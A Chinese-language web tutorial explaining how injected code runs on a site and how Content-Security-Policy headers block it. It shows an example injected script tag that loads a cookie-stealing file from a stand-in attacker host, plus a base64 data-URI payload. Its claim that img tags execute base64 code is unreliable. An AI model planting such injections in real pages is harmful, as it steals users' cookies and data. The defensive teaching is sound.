本篇网页面UI设计教程将为大家讲解网页设计的知识点，看完这篇文章会让你对网页设计的知识点有更加清晰的理解和运用。

首先，什么是最后一道防线？
网页入侵都有一个过程，简单来说，就是1.代码注入，2.代码执行。

对于黑客来说，代码注入后并不代表就万事大吉了，因为此时代码只是安静地躺在受害者的服务器里，什么坏事都没干呢！

所以必须要有代码执行这一步。
今天要讲的，就是如何阻止恶意代码的执行。

恶意代码的执行方式1：inline script

比如我的某个网站 example.com 被注入了恶意代码了，这段代码长这样：

<script src="badguy.com/steal-your-cookies.js"></script>

这段代码会从一个叫 badguy.com 的网站加载一个 js 脚本文件并执行。只要这段代码被执行了，用户的一些信息就会被窃取。

恶意代码的执行方式2：Data URI scheme

Data URI scheme 设计的初衷是为了把一些小的资源，比如图片，直接嵌入到 HTML 中，避免了额外的加载。
比如，传统的图片代码是这样的：

<img src="example.com/1.jpg" />

这种加载会额外消耗网络带宽，并增加网页的响应时间
现在可以这样做：

<img src="data:image/gif;base64,编码数据" />

这样的话，只要加载一次，就可以显示图片了。
不过，这种方式可以被利用来执行JS代码！
比如，黑客只要注入下面这段看起来人畜无害的代码，用户一打开网页，就会……boom!（好吧，其实就是弹出个对话框，调戏下用户）

<object data="data:text/html;base64,PHNjcmlwdD5hbGVydCgibmkgc2hpIFNCIG1hPyIpPC9zY3JpcHQ+"></object>

当然恶意代码执行的方式多种多样，这里就不一一列举了，大家有个概念即可。

防止代码执行的内容安全策略：CSP

CSP是 Content-Security-Policy 缩写，基本作用是建立一套白名单，所有在白名单之外的代码都不允许执行。

CSP 应用一：拒绝执行第三方域名的脚本

Content-Security-Policy: script-src 'self'

如此一来，例1中的 steal-your-cookies.js 脚本便不会被加载，更不会被执行了。

CSP 应用二：拒绝执行 Data URI Scheme

Content-Security-Policy: object-src 'none'

如此一来，例2中的 base64 编码后的代码就无法被执行了。
但是，除了 object 标签外，img 标签也是可以执行 base64 代码的，除了 img，还有 media, frame 等……

CSP 应用三：向管理员主动报告入侵情况

Content-Security-Policy: report-uri //example.com/report.php

在 CSP 策略中加入 report-uri 指令，即可向特定网址发送当前网页里任何违反 CSP 策略的情况。如此一来，管理员便可以知道自己的网站是否被入侵了。

希望这篇文章可以帮助到你。总之，同学们，你想要的职坐标网站设计频道都能找到!